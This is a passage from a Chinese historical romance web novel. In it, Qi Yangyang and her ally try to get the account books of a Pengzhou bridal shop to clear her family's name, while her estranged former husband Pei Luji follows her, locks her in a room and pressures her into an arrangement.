就能邀请来店中试穿新制婚服,不管是城中百姓,还是各地有意今年置办婚事的豪贵也会蜂拥过去看新婚服。 这天能被选上试穿婚服的姑娘,通常都无上光荣,以前曾经有一位尚未有婚配却被选上试穿天成阁婚服的姑娘,当天就被京城来的大官相中当上了大官的正室夫人,引时人艳羡。 “刚才我在这里一眼看见姑娘的时候,就被姑娘的气质和容貌吸引了,还有你的夫君,一看就是人中龙凤,刚好我们天成阁还需要找一位有大将军气质的郎君,来试穿一件名为‘金麒麟’的新郎服。” 戚央央被说得满脸绯色,眼睛也不敢瞧沐江恩,只是摆手对郝玉叄道:“他他不是我的夫” “娘子,我们去吧!”沐江恩突然出声打断她,笑着与她道:“既然掌柜盛情邀约,我们也有幸去观摩一下这‘火凤凰’和‘金麒麟’。” 沐江恩朝她打眼色,并拉着她往前,“我来之前打探过了,这天成阁的掌柜不爱财,不会轻易被钱打动而把店铺卖给别人的,可他却是实打实的情种,年轻时候曾因为自己心上人嫁了旁人而发誓终身不娶,一辈子给别人做嫁衣,每当遇见有苦情人他都会帮一把。” “这天成阁在这一带如此有名,连京城的人都知道他,想必想买他家店的大有人在,我们就算出高价也未必能买下,不若我们这样” 央央听着他同自己说的计划,脸色羞得通红,但很快她就答应,没想别的,只想今早能将店盘下来,拿到店里的账目。 戚央央刚换上“火凤凰”走出来那下,所有人都看呆了。一袭官红色长长的婚服,下摆用十二种不同色调的金线精绣成火凤的鸾尾,像一朵朵浴火焚身的凤凰花,越发衬得她光艳逼人、秋水之色,也的确就她这样明艳的长相,能镇压得住这样的婚服了。 紧接着,换上新郎服的沐江恩也走出来。 女子国色天香,男子英武不凡,倒也算天作之合。 郝掌柜一生为无数人做过婚服,撮合过无数姻缘,这次眼看着这一桩金玉良缘又要在他手中成了,心中的成就感满满的。 “郝掌柜”沐江恩见事情进行得差不多了,便牵着戚央央的手前来。 央央也甚是配合似的,任由他牵着手,和他装成恩爱情侣前来。 “郝掌柜在彭州一带也算是个人物了,晚辈相信,以掌柜阅人无数的眼光,定当也看出来我俩并非是真的夫妻了。” 郝玉叄点点头,“你喜欢她,我一眼就看出来了,是吧?” 沐江恩抓着央央的手笑,“这是我肖想了好久的小丫头,我年少时候开始就喜欢她了。” 虽然知道这是他和自己约定好的计划,但央央听着他说着这样的话,还是忍不住心跳,只好不停告诫自己,记住前车之鉴,千万别再轻举妄动了!! “可是,”沐江恩又道:“我这次陪她来彭州,其实是要帮她完成长辈心愿的。” “这天成阁,从前是她母亲所侍奉的主子的,因为十多年前一些变故,不得不将天成阁卖掉,可是她母亲的主子临死都想要把铺子赎回来,这算是老人家的一个心愿,若办成此事,她家父母才放心将她托付于我。” “她家如今就她一个姑娘,父兄都不在,我一个无父无母无家无业之人,若想老人放心,只能帮她办成此事。” 沐江恩双眸有神,看起来又十分真诚,一番声泪俱下的话下来,连戚央央这个清楚是局的人,都被感染了。 而郝掌柜却越听眼眶越红,“你们你们说的那个天成阁前主人是她母亲是” “她母亲是以前在戚家侍奉过的老人,天成阁前主人是戚将军的夫人,甄盈盈。”沐江恩道。 “盈盈”郝掌柜的眼眶越来越红了,袖摆下的手颤抖不已,见自己失态,随即背转过去,缓了好久才肯转过来见他们。 “失礼,让你们见笑了。” 戚央央觉得奇怪,“郝掌柜你是不是认识我戚夫人?” “我从小无父无母,小时候在大街上乞讨,是盈盈小姐将我捡回府的。”郝玉叄道,“从那时候开始,我发誓这辈子都要守在小姐身边。” “我自知自己身份不配,十六岁开始,我就去参过军,行过商,希望有朝一日能做出点什么配得上她。” “后来我在战场上差点死掉,用半条性命终于换了些军功,当上了校尉。像我这种出身的人,此生能当一个校尉,已经是普通人肖想不到的了,也总算是个能配得上她的身份了。” “可是,她出嫁了,嫁给了一位将军。” “抱歉啊,二位,这天成阁确实是十几年前她为了抵债,把这铺子抵了给我,我辞掉职务守店至今的,但铺子现在不是我的,我已经将铺子卖给了她女儿的夫婿了。” 听了郝玉叄这话,戚央央和沐江恩都愣了。 戚央央的夫婿?那是何人? 不用再问郝掌柜,央央就明白说的是谁了。 裴陆戟这眦睚必报又有手段的狠人,她真后悔自己犯蠢错认他,招惹到他了。 她如今算是彻底确认了,父兄的事情,就是他栽赃的,他这人心狠手辣,做事一贯做得天衣无缝,又怎么会让她有机会翻案呢? 失魂落魄的戚央央听不见身后一直追着叫她的沐江恩,一直一直往前跑。 “戚妹妹!戚妹妹!丫头别灰心啊,相信办法总比困难多,我们再想想办法,一定能想到的!” “可是”她哽咽。 “你忘记小时候我们被抓去羌北活死人墓时,还不是以为必死无疑,那时候你哭得比现在还凶,不也以为必死无疑了吗?”他脸上的笑能带给人一种安定的感觉,“可后来我们还是活下来了,也出来了,现在这点儿事和以前比,算什么呀?” “明日我们再去同郝掌柜聊聊,看有没有机会能说服他把账本给我们瞧一瞧吧,以他从前对你娘的情谊,应该还是有机会说服他配合我们的。” “可是”戚央央丧丧地,“他现在是替裴陆戟做事的,我们一旦暴露了身份,万一他出卖我们,岂不是危险” “更何况,裴陆戟他那个人恨极了我和姨母,什么事情都做得出来,谁知道他是不是故意安排郝掌柜这么说话,把我们诈出来” “那这样,今晚我们再好好想想,不行的话,大不了我们回封州再想别的入手点。” “开心点好吗?”他不知从何掏出一包香甜的糖糕,哄小姑娘似的哄着她,“不管我们最终能不能成功,但求尽全力,无怨无悔,好吗?” 央央眸间挂着半颗泪,愣愣地看着他,曾几何时,她兴冲冲地将一腔热情倾泻给裴陆戟时,就是像沐江恩一样,永远有应付一切的勇气和心情。 从什么时候开始,她的这种生命力开始枯竭的? 可是现在,又有另外一个人,愿意这样源源不断地给她注入力量,所以,她擦干眼泪后,很快就接过那包糖糕,朝他展开笑颜,“谢谢谢” 她对别的男人笑得甜蜜的这一幕,被一路风尘仆仆刚刚赶至此地的男人看见,那一刻,裴陆戟手里用绸缎裹紧的琉璃瓶,差点就摔了。 几天前,他派去封州暗中打探她消息的人来回报,戚央央已经不在封州了,这几天他废寝忘餐嘱人四处查探,才终于在前往彭州的方向发现了她的消息,于是,他赶紧处完衙门的事,连夜不睡快马加鞭赶来了。 谁知来到,才发现她不是一个人来彭州的,和她一起的,还有一个和她站在一起看起来颇是登对的年轻男子。 那一刻,他才突然发现,他们好像是真的已经在和离书上签下名字,是真的和离了,以后婚嫁似乎,也各不相干。 第33章 他笑着笑着竟笑出了眼泪…… 惊悉到这点的那刻, 他突然觉得胸口闷得厉害,手中有一个极其珍爱却总学不会去珍惜的宝物,在那一刻, 长出了翅膀,割断了红线 在过去的十年之长里, 戚央央她用自己强悍的行动力, 成功让一个冷漠自卑的人, 长出了一点柔软的肉芽, 那些肉芽长得丑陋可怜,却对她产生了信任, 认为她一定不会离开。 仗着这点她给予的底气,他便开始肆无忌惮地放任自己坚硬的壳去伤她、把她撞得遍体鳞伤, 而躲在硬壳之内的自己,浑然不察。 还以为, 她的爱能一辈子。 呵多么可笑 彭州城临晚的风, 卷起黄沙, 多了几分冷意, 将他玄色的兜帽、衣袍卷起,一头因连日来赶路, 来不及束好的墨发就轻扬起来。 不少赶着收摊回家的摊贩和路过的人都朝城墙底下的年轻男人投来了目光。 在这座不大不小的小城里,能看见沐江恩那样的已经算潘安再世, 是美男了,戚央央那样的大美人更是踏破天涯无处觅,如今城墙底下竟又来了一位神秘的穿玄衣的男子, 俊美清逸得教人一望心惊。 刚才头戴兜帽的时候,光看那侧脸精致的线条轮廓都足够让人驻足的,等那兜帽一掉, 脸容一出,教那些出嫁的、未出嫁的女子都直接看红了脸。 俊逸出尘的男子独自一人站落日墙角下一副悲戚追悔的样子,把好些姑娘都看得生起了怜悯,有些已经手拿帕子朝他的方向走去。 可下一刻,他目露凶光,生出戾意,刹那,便把好些姑娘都吓得退缩逃跑了。 裴陆戟像一抹卑陋阴暗、见不得人的影子,缀在阳光底下的旧城街道,穿街过巷,悄悄跟随在戚央央和她身旁的男子身后,一直到他们下榻的地方。 直到看见他俩分别拿了不同的房号,在不同的房间住下,他才终于能勉强克制住内心滔天喧嚣的恨意。 然后,他也去客栈掌柜前交了钱拿了个房号,在他二人附近的房间住下。 裴陆戟这次来封州是拿巡视州郡粮草作为掩藏,悄悄来的,入夜后就得不停接见派出帮他巡视的暗探,并且将白天累积的要务全部处完。 残影已经摸着暗号来到他今夜下榻的客馆,并找到房间进来同他汇报情况。 “主子,风影和月影的报告都在此处了,请主子尽快批完这些文件,各州郡催得紧。” 裴陆戟多日没歇,此刻还只能强作精神继续审批这些文书,同时,他又要留意着隔壁房间是否有闹出动静。 突然,他想到什么似的,慢慢放下手边的工作,“残影,之前让你去查当年羌北活死人墓战俘的人员名单荆王身边的人,可有查过?” “回禀主子,荆王身边一些侍从和奴仆都有排查过的,只是一些荆王秘密培养的死士和幕僚,都是没有卷宗或者卷宗早就被烧掉,根本无从查起的。” “死士和幕僚。”裴陆戟不禁提了心眼。 “主子是怀疑” “残影,现在去帮我做一件事。” · 今夜风大,客房的窗户被吹得啪啪乱响。 戚央央刚刚洗漱完,本想关严窗户睡觉,谁知还没来到窗台边,那菱花窗便“啪”一声被吹开,一阵妖风刮了进来,将窗边的瓷器花瓶和笔架山的东西吹得七零八落的。 伴随着这阵妖风,央央还无意看见了一个黑色的人影从窗边掠过,直朝隔壁沐江恩的房间去。 她想到了沐江恩同她说,彭州近日潜进了一批荆王的叛变旧部,他来此处除了帮她收店铺,还得配合王爷派来彭州的死士一起抓人。 沐江恩这时候没在房间,刚刚有黑衣人潜进他房间,央央她害怕 今夜沐江恩原本是没有行动的,荆王的死士也守在他们下榻的客栈附近保护他们,按说那些叛变的旧部应该难以靠近,能进入此处,除非那些死士已经在暗处被默默杀害,又或是 来了批新的杀手潜进客栈了。 戚央央心头突突地跳,她知道现在不能打草惊蛇,她抱了个枕头头发还散着,就跑去隔壁敲起了门。 “沐大哥沐哥哥”她尽量让自己声音变得娇媚,企图能蛊惑人。 “沐哥哥,你不说话,我就进来咯” 她轻轻推门,屋里漆黑一片,她挑着灯,仔细打量屋里的一切。 幸好,东西没被翻乱,沐大哥的东西应该没被他们偷走 但是,刚刚她的确见有人从窗口跳进去了,那人应该还没走,还躲在这房里的某个角落。 沐大哥是她的大恩人,此次来彭州,也是为了帮她,如今他不在,她绝对不能让别人盗走他的文书和令牌。 太刻意唤人进来的话就会打草惊蛇,让这贼人跑了的话,下回他还会进行伏击,她只得装成是沐江恩见不得人的情人之类的,这样,那贼人知道她和他的关系,说不定会想要利用她,从她口里知道更多事,就不会轻易跑掉了。 “沐哥哥我知道你在房里的,你就出来,别再躲着我了” 戚央央轻轻脱了鞋履,赤着脚在地上轻轻地走,营造出一种偷感,左手提着一盏灯,右手将一瓶馥郁香气的花露轻轻倒在房间的地上。 一时间,房间馥郁扑鼻。 “我夫君那边,你现在不用担心了,他已经同我和离,以后我们的关系就能光明正大了” “本来我同他就是误会一场,我真正的救命恩人是你,而并不是他,是我自己一直误会了,才把应该是对你的感情,投注到他身上,可是现在,一切都拨乱归正了” “我们我们可以永远在一起,再也不分离了!!” 央央来到床边的时候,黑衣人就从床底下翻出,想一把挟持她,谁知竟被床边的人先一步设了套,刚翻出床底,脖子就被套进了她用腰带和床单拧紧帮成的长条里,与圆桌那边相绑了起来,她轻轻一收,黑衣人脖子就被紧紧勒着,喘不过气。 是他大意了,想着能多从她身上了解到一些情况好禀报主子,谁知那看起来懦弱不堪的女人,竟是个狠角色! 戚央央她心知自己身为女子力量悬殊,所以借助了不少外物,然后设下陷阱,最终得以将黑衣人五花大绑起来。 她压在黑衣人身上,丝毫不敢松懈地将他身上绑好的带子绕过床柱,牢牢打起了结。 “你这小贼!”她已经气喘吁吁了,“谁让你来我沐大哥这里偷袭的啊?你到底想偷什么??我不会不会轻易放过你的” 黑衣人本来可以轻易挣断这些床单拧成的绳索的,但这女人鸡贼得很,刚才她倒了一路的,他以为是她在倒什么助情的调情花露,谁知竟是种包裹着花香味的烈性迷药!且她竟还用泡了解药的帕子捂了一路的脸,他还不知道!! 黑衣人如今浑身没有气力,但是主子的任务,就算完成不了也绝不能就这么在这里暴露身份。 “你!你还想跑你!小贼!!” 见黑衣人浑身迸发出气力作最后的抗争,那些床单快将被挣断之际,戚央央泼妇上头似的,一口就咬在了黑衣人手腕。 “啊!——”一声惨叫,黑衣人不知道那女人口中长了什么,怎么咬起人来的时候,像是有玻璃碴子扎进手腕似的。 门外传来急促的声音,看来是这屋里的主人发现端倪,赶来救人来了,再不走就没机会了。 迫不得已之下,黑衣人只得忍着痛撕掉她脸上的面巾,挣脱绳索翻窗逃走。 戚央央没了面巾覆盖,在那些馥郁的迷药作用下,没一会就眼白一翻昏死过去。 残影竭尽气力坚持到最后一刻,向主子报告。 可还没来得及发出一个音,就倒头原地昏死过去。 裴陆戟花了不少功夫让人连夜调配解药,终于让残影醒来,重新一五一十将潜进屋里时发生的一切汇报。 “属下从前还是进过天机阁的杀手,才能中了药也能坚持到最后回来,要是普通的暗卫和死士,此刻恐怕已经被戚氏胡搅蛮缠用床单和药制服了。” 残影口中所描述的戚央央,的确是裴陆戟所熟知的,明明看着羸弱不堪,在守护自己重要的人时,却仿佛横生出一股野蛮的犟劲,死死地盯住那个有可能会害她重要的人的人,死也不肯松口。 就连残影,一个暗卫营里最顶尖级别的杀手,竟然也奈何不了她,差点落入她手。 他无意识地就笑了出来。 残影看见主子在笑,一时很是纳闷,不明白是在笑什么。 可裴陆戟笑着笑着,不知是因为太好笑还是怎么的,平时那样矜持自重一个人,笑声越来越大,然后笑着笑着竟笑出了眼泪。 是啊,她现在已经知道了他不是她要找的那位救命恩人了。 所以,当然也会为了别的人,也像当初替他出头那样,可以翻遍了墙壁,就为找出那个偷偷骂他是疯子的人,然后摘柿子砸他。 那时她那样的小胳膊细腿,为了叫那些顽劣乱传他坏话的小孩受怕,无所不用其极,演成小疯子一样去打人、咬人、缠人,只要那些小孩胆敢说错一个“疯”字,她就扑上去咬人,像鬼魅似的天天去缠人。 她倒是还像从前那样,只是,从今往后也只会为了他以外的人而已 “残影,不必再调查了”他笑到最后,目光低垂,笑容便变得越发模糊,苦涩,悲怆, “找到了,那个人,就是当年羌北活死人墓里的战俘之一。” 第34章 他手边大锁一铐把门锁死 戚央央一觉醒来, 发现自己已经躺回自己房间的床上,沐江恩在旁边守着,无比担忧地看着她。 见她醒来, 他才终于长吁一口气:“丫头你可终于醒来,太好了!” “昨夜我回来的时候就察觉到屋里有动静, 推开门发现你倒在那里, 旁边窗户的窗大开着, 屋里明显有缠斗过的痕迹, 你连腰带都被解开了,我还担心” 戚央央一听, 掀开被子一看,发现自己衣着完好, 松了口气,立马又羞红了脸用被子将自己裹住。 “你昨夜那样倒在那里, 我叫客栈的掌柜找了婆子来帮你检查, 顺便更换衣裳, 昨夜到底发生什么事了?” 央央这才慢慢从被子里把头伸出, 把昨夜在他房里发生的一切都告诉了他。 沐江恩听完,头一回对她动了气, 大声道:“胡闹!你真胡闹!!” 他声音大得吓了她一跳。 她有些愣地看着他。 随后他似乎也察觉到自己吓到人家了,声音就软下来:“我不是告诉过你, 我不在时,你躲在屋里锁好门窗,别出来吗?你若是发生了什么事, 你让我” 他这样的表现,让她久违地感觉到了一些温暖的感觉,她安慰似的轻拍他的手道:“沐大哥, 对不起,这次让你担心了,我有注意安全的,以后也会更加小心,不会再让你担心了。” 沐江恩见她鬓发都睡乱了,很自然地伸手替她头发:“王爷会派人暗中支援我,那些东西,丢了就丢了,大不了领些罚,对我们这些暗卫幕僚而言,随便罚罚根本算不得什么,而且王爷待我们很好,大部分时候都是为了小惩大诫,大部分时候都是很宽容的,但若是你受伤的话,我” “我没办法向王爷交代,而且” “你若是有什么损失,我也没办法原谅我自己。你不是总说,你欠了我几次,要报答吗?” “想报答我,你就让自己好好的,毫发无损还我一个戚妹妹,知不知道?” 原来,真正重视、爱护你的人,不止会救你,还会要求你自护自爱,来作为对他的报答 戚央央怔住。 · 央央打算今日再去找那天成阁的掌柜聊一聊,看看能不能叩问出点什么关要信息,沐江恩便说要陪她去。 可是二人临出门时,荆王派出的手下突然找到了沐江恩,说是一些被抓的叛变的旧部突然逃跑,怀疑有别的人来救走,让他赶紧过去一趟。 于是,沐江恩便说,等他回来再一起去。 可戚央央却道:“沐大哥,我知道你担心,可我也不能成为一味依赖着你的小废物啊,再说了,只是去一趟天成阁,昨天那个黑衣人中了你给我的迷药,没解药估计得昏个几天,又怎么可能轻易再来?就算来他也不可能挑这种闹市下手的。” 沐江恩犹豫了许久,结果还是留下两个人在暗中保护她,然后才离去。 戚央央来到天成阁的时候,许多客人都围上来同她说话,大部分人都是因为昨日见了她穿的那些婚服,被惊艳到,有的则是知道被天成阁掌柜选上的姑娘,最后大都鱼跃龙门,就算不是被大官看上,也会被一些官家小姐请去,日后前途大好。 央央好不容易从一群人中挤出来,找到天成阁的伙计,伙计邀请她进内庭相候,说是掌柜待会就回。 这时内庭一面屏风之隔的花厅中,站着一位一身玄色衣袍、一看就身份不凡位高权重的年轻男子。 昨夜还被戚央央咬了一口并且制服的残影,此时也出现在花厅中,给年轻男子禀报事情, “主子,事情已办妥,同戚氏在一起的那位荆王幕僚已经被引走。” 裴陆戟点了点头,目光又经意瞄到他手腕上的牙印,心情更抑闷了,“手上的伤,赶紧去包扎好。” 残影在他手底下做事那么多年,以往所受的伤比这重多了,从来也没见他主动关心过,这次突然来关心他这种稍不留神就快愈合的小伤就很奇怪。 正要谢过主子的关心,哪知他突然咬牙切齿警告了一句:“以后再敢让她咬你,我先剥了你的皮!” 残影心悸不已,心道昨夜那情况,这事哪是他能控制的,可他也不敢那么说,只能讪讪地应“是”,然后恭谨退下。 帘幕被撩开,一阵独属于女子的甜香送了进来,隔着屏风的阻挡,他知道,她就站在离他不远的地方。 裴陆戟手中握紧了那个被丝绸包裹好的琉璃瓶子,薄唇紧抿。 那天成阁的伙计给戚央央沏完茶后,便回前屋继续招待客人了,屏风那边便静了下来,只剩风吹起檐下风铃发出清脆的响声。 他的心也随那阵风铃声,七上八下的。 原本他揣着那琉璃瓶过来的时候,是满心愤懑的,他要得到她的解释。他觉得,就算是她认错了人,这些年来,既然她口口声声说过那么多“喜欢他”的话,她如今不爱了、不喜欢了,也总该给他一个解释,给他一个说法。 可是,等他真正等到她来,就隔着一面薄纱屏风的时候,他又突然什么都说不出来了。 那一日,是他亲自抓着她的手按下的红泥印,也是他在她眼皮子底下拆散了她姨母和他父亲,他亲自唤人来抓她,亲自送走的她 如此,他还能说什么 这种憋闷着,想抒发又抒发不出来的酸涩,把他腔内的每一根骨头都泡进了能融骨化髓的液体中,身体里的每一寸一缕,都跟着酸腾刺痛起来。 为什么会这样,这种不舒服的感觉,这种窒息的感觉,从他得知了姓沐的那位存在后,就越发明显起来。 他让残影去从中搅和荆王内部的事情,好能临时遣走他的时候,他甚至想过,顺便把他杀了,一了百了。 但这个可怕的念头只刚刚升起,就被他强行灌下几颗药给压制下去了。 不是因为他有多良善,而是他知道,一旦姓沐的死了,以她的脾性,殉情之事不是做不出来。 一想到这样,他觉得胸口的地方更闷了,一股酸涩在体内肆意流窜着,酸得发麻,疼得厉害。 他正难受着的时候,内庭刮起了风,风将屏风那头女子的手帕,吹到了他这边,落在了他足下。 手帕上的青山江河苏绣,和隐藏在江河里的小小的“恩”字,刺痛了他的眼睛。 他愤怒地捡起那张绣帕,然后就听见屏风里女子清丽的声音传出:“小哥,那是我的帕子,我能进来捡一下吗?” 眼看她就要进来了,前屋那边的伙计突然回来了:“姑娘!姑娘!掌柜回来了,请姑娘跟我来吧!” 央央本想捡完帕子再跟他走,可他冲进来一回禀完,就立马转身往外跑,她生怕跟不上,就只能暂时放着帕子不顾,拎裙一路小跑追了上去。 郝掌柜是个精明的人,央央她一开口向他旁敲侧击,他立马就有所察觉,并且歉意道:“姑娘,对不起,我知道你求我这天成阁,必定是有要紧事,但是这铺子我如今只有打的权力,其余的要不你去京城找裴世子。” 戚央央心灰意冷,连帕子都忘了去捡,垂头丧气勉强地说着一些场面话来圆场,然后离去。 郝玉叄与她道别,进去内庭打算换件衣裳再出来招呼客人,谁知进去一会,衣裳还没来得及换,就急匆匆跑出来,去追戚央央。 “姑娘!你先等一等!” “我知道姑娘刚刚这么问,是意在想看我天成阁的账本,是吗?请姑娘随我进来。” 郝掌柜这么把话挑明来讲,着实吓了央央一跳。 央央也知道,事出反常必有妖,但是,机会就在面前了,若是连去看一看究竟的胆子也没有,父兄的冤屈就根本不可能洗掉了。 她在原地犹豫了好久,把鞋尖的珠子踩掉留下记号,跟随郝玉叄进内庭。 跟随他进内庭,越过那道屏风,经过那长在一片紫藤花上的花厅时,早已不见了那抹站着的人影,她那张这段时日花不少心机绣好的帕子也不见了。 来不及惋惜,只能继续跟上郝掌柜的脚步,来到他的账房。 账房在正屋的西边,是一个很少人往来的地方,有一扇很小的窗户,开在屋子顶部,屋子旁边长着一棵高大的银杏树,枝叶几乎漫到顶部的窗户。 那扇顶部的窗没开,走进去以后没掌灯,就是黑漆漆的。 戚央央跟着走进去之后,郝掌柜就旋身一下子走出账房,在她还没反应过来之际将账房的门关上,将她反锁在里面。 “掌柜你!开门!开门哪!” 面对屋里人的拍打,郝掌柜贴在门边苦口婆心道:“丫头呀,你和你夫婿应该是有点误会,你们有事情好好说,把误会解开就好啦,不要犟嘛” “你要看账本不就想查明那桩现在闹得沸沸扬扬的,车壁之役贪墨案吗?我已经把账目和证据都给你夫婿,昨日你来时,我还都不知道原来你就是裴世子那位负气离开的妻子,原来你就是盈盈的女儿啊,你夫婿会帮你彻查此案还你父兄清白的,和你和离也是迫不得已的嘛,你不要误会他啊” 说完,他手边的大锁一铐,把门锁死了。 央央感觉通身寒凉,此时已经适应屋里的光线,转身一看,就看见那抹清冷矜贵的身影,几乎融合在那片暗色中。 顶方微弱的光线透入,伴随着被风吹拂的葳蕤树影,便稀稀疏疏落在他身上,像极了一尊用玉砌成的神佛,通身透寒,冰冷而没有感情。 “你到底跟郝掌柜说了什么?”戚央央如今是越发觉得他厌烦了,“明明是你联合别人凭空诬陷我父兄,让他们死后也不得安宁,现在又装什么?把我关在这算什么?安的什么心?” 裴陆戟的身影慢慢从那片阴影中走出来,朝她走近,脸色不虞,口吻极冷道: “别用你那嫌恶的眼神,来看我。” 第35章 他缓抬她下颚:“你变得…… 戚央央眼见他逼近自己, 那看似瘦削颀长的身体靠近时,竟如山岳般有压迫感,让人喘不过气了。 “你竟然骗郝掌柜, 明明是你亲自抓着我手按下的手印,你怎地好意思说, 跟我和离是有苦衷?你与我和离, 逼迫我姨母和离, 难道不是为了报复吗?你怎么好意思说成是有苦衷?” 她对这人厚颜无耻的认知又刷新。 “你把我身份告诉郝掌柜, 又不知用什么办法欺瞒他,装成一副深情, 想要帮我父兄平叛的样子,把可以翻案的证据从郝掌柜手里骗来, 你能把我这条路截断,想必其他的路也是, 反正我人已经被你抓到, 你说吧, 到底还想怎么样?要我死在你手里让你泄愤吗?” 她说着, 已经“噌”一声从头上取下簪子。 裴陆戟与她凑得极近,近得几乎可以看清她瞳孔深处情绪。 昔日一见着他就打自内心发出的那种亮光, 已经完全看不见了,那是一种陌生的、他从未见过的她。 早有预料过她有此厌恶反应的, 但面对时还是忍不住难受。 他用手缓缓抬起她下颚,轻轻地笑了,“你知不知道, 你现在的样子看起来,简直就不是我以前认识的戚央央了,你看我的眼神, 跟以往截然不同,像变了一个人。” “变得我都快不认识了。” “是不是,我如果只是我的话,你当初,就根本不会为了我做那么多的事?因为我不值得,是吗?” 他用冰凉的指腹摩挲她光洁的下巴,另外一手打掉她手里的簪子,从前面禁锢她两手,她挣扎不得,只能被迫承受。 “你现在还说这些做什么?”戚央央无奈又悔恨,此时也只能被迫仰着头看他,“想报复你就麻利些,何必同我这样一个,被迫捆绑一起五年、嫌恶至极的女子待在你最讨厌的,漆暗之中??” 感受到她下颚有些发抖,他知道她有些累了,便松开了她下巴,改为伸手捞住她后脖,让她靠在自己肩膀。 “其实我知道,你少时教我捉萤虫,来到漆黑的河堤边,萤虫还没飞出来的时候,你也在害怕得发抖。” “在羌北的活死人墓里待过,在黑暗中踩过冰冷的尸块,又怎么可能不惧怕漆黑?” “可你心中总有一股冲劲,你可以为了你爱的人,去克服一切难克服的事情。” 他将怀里裹严实的琉璃瓶打开,露出萤石幽幽的光芒,屋里变得没那么昏暗,台桌柜椅都清晰可见了。 “只要看清楚足下的路,就不那么害怕了是么?” 他声音低柔起来。 戚央央被他逼压在门闩边后背硌得疼得厉害,她没忍住往前将人一推,他手里的琉璃瓶便“砰”一声,碎在了地上。 “裴世子,请你一次性说明白,你今日来,又把我困在这里说些有的没的,到底是想怎样?我很笨,请你不要故弄玄虚,我听不懂。” 她没好气,见他松开了自己,便活络手腕揉揉被硌疼的后背。 裴陆戟定定地看着地上被摔碎的琉璃碎片,那块伴随了他一路,被他用手抚得棱角都开始有些光滑的萤石,此时也被摔得一分为二,静静躺在一片碎琉璃中。 看着她无动于衷的脸,他气着气着便无力地笑了。 “戚央央,你想替你父兄翻查案子,为你戚家和甄家翻案、正名,是吗?” 他蹲在地上拾捡那堆捡了也没用的碎片,淡道:“给你个机会,不想我毁掉天成阁那些账本的话,从现在开始,听我的。” “或许,我会帮你启动三司会审,翻查案子,否则,以你的身份,就算有荆王相助,以荆王如今在朝中尴尬的地位,也是很难调动三司重审案子的。” 戚央央皱眉,“我凭什么信你?谁知道你是不是骗我呢?” “放心,我不会让你做背德或者害人的事,再说了,以你现在的处境,还有别的选择吗?” 他似乎是掐好了她没有退路,只能答应。 而事实上,她也确实已经被堵死了后路,她逃犯的身份被他抓到了,本就死路一条,说不定还会连累救她的人,如今,就算他真的骗她,她也只有赌一赌这条路了。 就算赌输,好歹也能拖住他不毁掉账本,拖延些时日好再想想办法。 “好,那”她吸了口气,“你别耍赖,不然我做鬼也不放过你。” 他听到这句突然顿住,手指被碎片扎破了也浑然不觉痛,抬头的瞬即眸里闪过一丝,连日来再也没有的喜色, 声音微颤道:“好那你,千万别放过” · 戚央央现在一门心思只想着证据和翻案,压根就没注意到什么萤石之类的,更加没有闲心思去想起,地上碎的是她曾经送给他的东西。 她只想答应了这人,就赶紧让她出去,赶紧离开。 不想,这家伙硬是蹲在地上坚持把碎片捡完,才放她离开。 地上的琉璃碎得满屋都是,她又不愿意帮忙,只能他自己捡,一捡就是一两个时辰。 离开昏暗的账房前,天色已不早,他用帕子擦了擦手指上被碎片刺破的血迹,把她召唤到身边,道: “不许同郝玉叄半点你我交恶之事,以后每日未时之后来这里找我,不许跟别的男人过于亲近,还有” 他想起那张被风吹来他脚边的绣着江河和“恩”字的帕子,喉结微紧,低低道:“不许随便给人送礼物,还要给我绣一张帕子。” 琐琐碎碎交待了一大堆,戚央央早就不耐至极了,得了他一句能走的话,她拎起裙角就走得没影。 看着她走后的身影,他把檐角之上的残影唤来,“跟着她,看她有否照做。” 央央出门时间太长,她担心沐江恩担心,路走得飞快。 可还没走回客栈,就见沐江恩手里拿着一颗珠子,身后跟着几个人,火燎火急地朝她过来,衣裳扣子都错扣了。 “小丫头!你没事吧??”他看起来焦急不已,看见她完好无损出现,才终于松一口气,“刚刚我的手下被天成阁的人拦阻进不去,见你遗落下珠子,便知你有难通知我,你没什么事吧?” 见他担心不已的样子,她内心暖意阵阵,但一想到自己同裴陆戟约定好的事,为了账本不被毁掉,为了不让他担心和为她置身危险,只好撒谎道:“珠子是不小心被我踩掉的,天成阁的郝掌柜已经答应让我每日来账房帮忙做工,如此,我就有机会接近找到账本了,沐大哥,我可能还要在此地耽搁上一些时间。” 听她这样说,沐江恩也松了口气,“没事,事情有转机就好,反正荆王爷交待给我的事情还没办妥,我也可能要在这里多待些时日,以后每日我让阿忠和阿义去接送你。” “不用,”她害怕被他发现,只好道:“我自己去就行,等会郝掌柜见我竟然请得起护卫,那去他那做工的由不就被戳穿了吗?你也不用接送我,那郝掌柜说了,他们天成阁不录女子到账房做事,他让我谁也别告诉的,你送我不就穿帮了吗?” 沐江恩想了想,“那我送你到巷子口,看你进了天成阁的门再走。” “那好吧。”戚央央既为难,又忍不住高兴。 回客栈的一路上,有沐江恩陪着她走,让她暂时忘记了在天成阁面对裴陆戟时的疲惫,脚步又重新轻松起来。 临晚有挑夫挑着彭州城驰名的芝麻香糕经过,一阵小时候路过伙房恰好看见娘亲打开蒸糕的锅盖时传出的甜香味道,这是彭州每个孩子小时候都必然吃过的糕点。 戚央央心思微动,摸索了下钱袋,想前去买糕,谁知沐江恩已经先她一步买了一包芝麻香糕,提着朝她走来。 “这是我小时候爱吃的糕点,不知你喜不喜欢,尝尝?” 戚央央盯着他看,须臾笑了,“巧了,我小时候也爱吃这种糕点,刚刚也是想买点让你尝尝呢” 二人相视片晌,皆都笑开。 橙红掺揉了碎金的夕光安静地在小城的砖瓦屋脊上洒下,四周是袅袅升起的炊烟,那些梦魇般掩盖人心头的过往云烟,也在此刻慢慢隐去,消散。 央央突然觉得,自己又重新拥有了去爱人的能力。 大概是因为环境氛围衬托得太美好,让她一时之间昏了头,竟短暂地忘记在天成阁答应过什么,冲动之下便往怀里掏东西,便对沐江恩道:“沐大哥,其实我准备了一件东西送你,是” 她摸了好久没摸出什么来,皱了皱眉,突然想起来,自己绣的青山江河帕子,忘在天成阁没捡! 她眉目黢了黢,苦恼道,“我好像弄丢了。” 沐江恩喜爱她这样娇俏生动的模样,含笑地一直望着她,欢喜道:“没关系,丢了也没关系,我心里已经收到了,很喜欢很喜欢。” 被自己欢喜的人说收到礼物很喜欢,这还是戚央央的头一遭。 她有些惊喜和意外,“你礼物都还没收到呢,怎么就知道很喜欢呢?” “因为是你送的,不管是什么,我都很喜欢很喜欢。”他笑起来唇边还缀有夕阳金灿的光,模样好看死了。 